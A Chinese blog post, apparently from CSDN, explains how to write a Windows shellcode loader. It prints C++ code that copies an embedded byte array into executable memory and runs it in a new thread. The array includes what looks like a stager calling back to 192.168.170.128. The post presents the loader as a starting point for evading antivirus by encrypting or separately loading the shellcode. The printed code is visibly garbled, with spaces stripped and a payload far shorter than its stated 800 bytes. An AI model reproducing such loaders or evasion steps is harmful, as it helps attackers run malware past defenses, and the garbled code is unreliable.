​Shellcode执行工具编写思路(一)

​Shellcode执行工具编写思路

之前在MS08067实验室发过,我寻思着自己可以做个技术分析的公众号,写写文章分析给大家琢磨,也可以提升一下自己的技术。

这是一段C++加载器的代码,代码来自倾旋大佬的博客,先看大佬给的注释。

#include<Windows.h>

 

 

//入口函数

intwmain(intargc,TCHAR*argv[]){

 

    intshellcode_size=0;// shellcode长度

    DWORDdwThreadId;// 线程ID

    HANDLEhThread;// 线程句柄

/*length: 800 bytes */

 

unsignedcharbuf[]="\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00";

 

//获取shellcode大小

shellcode_size=sizeof(buf);

 

/*

VirtualAlloc(

    NULL, // 基址

    800, // 大小

    MEM_COMMIT, // 内存页状态

    PAGE_EXECUTE_READWRITE // 可读可写可执行

    );

*/

 

char*shellcode=(char*)VirtualAlloc(

    NULL,

    shellcode_size,

    MEM_COMMIT,

    PAGE_EXECUTE_READWRITE

    );

    // 将shellcode复制到可执行的内存页中

CopyMemory(shellcode,buf,shellcode_size);

 

hThread=CreateThread(

    NULL,// 安全描述符

    NULL,// 栈的大小

    (LPTHREAD_START_ROUTINE)shellcode,// 函数

    NULL,// 参数

    NULL,// 线程标志

    &dwThreadId// 线程ID

    );

 

WaitForSingleObject(hThread,INFINITE);// 一直等待线程执行结束

    return0;

}

从大佬的注释就可以很明确的看出来使用VirtualAlloc函数申请内存,然后使用CopyMemory将shellcode复制到目标内存中,CreateThread创建一个新的线程。

VirtualAlloc百度的解释:

VirtualAlloc是一个Windows API函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。

简单点的意思就是申请内存空间。

这里我来用易语言复现一下这个过程,易语言比较适合刚接触的人理解吧。

这里Shellcode 需要转换为字节集才可以在易语言上面运行

OK,成功运行,也就说明我们的思路是没有问题的。

加载器的思路没有问题,那么我们就可以对shellcode 进行加密免杀或者分离免杀。

明确了思路,那么Github 搜索 各位师傅们的吊炸天的Bypass 脚本,自己拿来修改一下,那么就是又一个屌炸天的Bypass。

文章可能简单,主要讲解思路。

下一篇,介绍分离免杀的思路

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值